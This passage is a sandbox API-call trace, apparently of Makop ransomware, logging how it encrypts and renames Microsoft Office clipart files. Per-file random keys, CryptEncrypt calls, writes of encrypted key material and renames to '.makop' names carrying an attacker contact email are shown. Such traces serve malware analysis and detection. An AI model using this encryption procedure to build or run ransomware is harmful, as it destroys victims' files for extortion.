lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.016] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.016] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.016] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.016] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x20ca, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x20ca, lpOverlapped=0x0) returned 1 [0139.018] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20d0, dwBufLen=0x20d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20d0) returned 1 [0139.018] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.019] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x20d0, lpOverlapped=0x0) returned 1 [0139.019] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.019] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x21a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.019] SetEndOfFile (hFile=0xf0) returned 1 [0139.025] GetProcessHeap () returned 0x48a0000 [0139.026] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.026] GetProcessHeap () returned 0x48a0000 [0139.026] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.026] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.026] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.027] CloseHandle (hObject=0xf0) returned 1 [0139.028] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af4bb00, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5af4bb00, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00390_.WMF", cAlternateFileName="")) returned 1 [0139.028] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF") returned 63 [0139.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.029] GetProcessHeap () returned 0x48a0000 [0139.029] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.029] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.029] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.029] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0139.033] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.033] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.033] GetProcessHeap () returned 0x48a0000 [0139.033] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.033] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.033] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.033] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.033] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.033] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.034] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.034] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.034] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.034] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.034] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.034] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.034] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x21c2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x21c2, lpOverlapped=0x0) returned 1 [0139.036] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x21d0, dwBufLen=0x21d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x21d0) returned 1 [0139.036] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.036] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x21d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x21d0, lpOverlapped=0x0) returned 1 [0139.036] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.036] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x22a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.036] SetEndOfFile (hFile=0xf0) returned 1 [0139.042] GetProcessHeap () returned 0x48a0000 [0139.042] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.042] GetProcessHeap () returned 0x48a0000 [0139.042] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.042] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.043] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00390_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00390_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.044] CloseHandle (hObject=0xf0) returned 1 [0139.044] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde161100, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde161100, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x21ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00391_.WMF", cAlternateFileName="")) returned 1 [0139.044] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF") returned 63 [0139.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.045] GetProcessHeap () returned 0x48a0000 [0139.045] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.045] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.046] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.046] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.050] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.050] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.050] GetProcessHeap () returned 0x48a0000 [0139.050] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.050] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.050] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.050] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.050] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.050] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.051] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.051] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.051] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.051] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.051] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.051] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x21ec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x21ec, lpOverlapped=0x0) returned 1 [0139.053] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x21f0, dwBufLen=0x21f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x21f0) returned 1 [0139.053] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.053] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x21f0, lpOverlapped=0x0) returned 1 [0139.053] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.053] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x22c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.053] SetEndOfFile (hFile=0xf0) returned 1 [0139.072] GetProcessHeap () returned 0x48a0000 [0139.072] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.072] GetProcessHeap () returned 0x48a0000 [0139.072] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.072] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00391_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00391_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.074] CloseHandle (hObject=0xf0) returned 1 [0139.074] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24e62400, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24e62400, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2ad4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00394_.WMF", cAlternateFileName="")) returned 1 [0139.074] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF") returned 63 [0139.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.076] GetProcessHeap () returned 0x48a0000 [0139.076] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.076] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.076] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.076] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0139.080] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.080] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.080] GetProcessHeap () returned 0x48a0000 [0139.080] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.080] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.080] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.080] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.081] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0139.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0139.081] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0139.081] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0139.081] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.081] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.081] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.082] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2ad4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2ad4, lpOverlapped=0x0) returned 1 [0139.083] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2ae0, dwBufLen=0x2ae0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2ae0) returned 1 [0139.083] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.083] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2ae0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2ae0, lpOverlapped=0x0) returned 1 [0139.084] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.084] SetEndOfFile (hFile=0xf0) returned 1 [0139.091] GetProcessHeap () returned 0x48a0000 [0139.091] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0139.091] GetProcessHeap () returned 0x48a0000 [0139.091] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0139.091] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0139.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0139.093] CloseHandle (hObject=0xf0) returned 1 [0139.093] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c22fe00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c22fe00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x194a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00395_.WMF", cAlternateFileName="")) returned 1 [0139.093] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF") returned 63 [0139.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0139.094] GetProcessHeap () returned 0x48a0000 [0139.094] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0139.094] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0139.094] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0139.094] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0139.105] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0139.105] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0139.105] GetProcessHeap () returned 0x48a0000 [0139.105] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0139.105] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0139.105] CryptDestroyKey (hKey=0x48c7128) returned 1 [0139.105] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0139.105] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0139.105] WriteFile 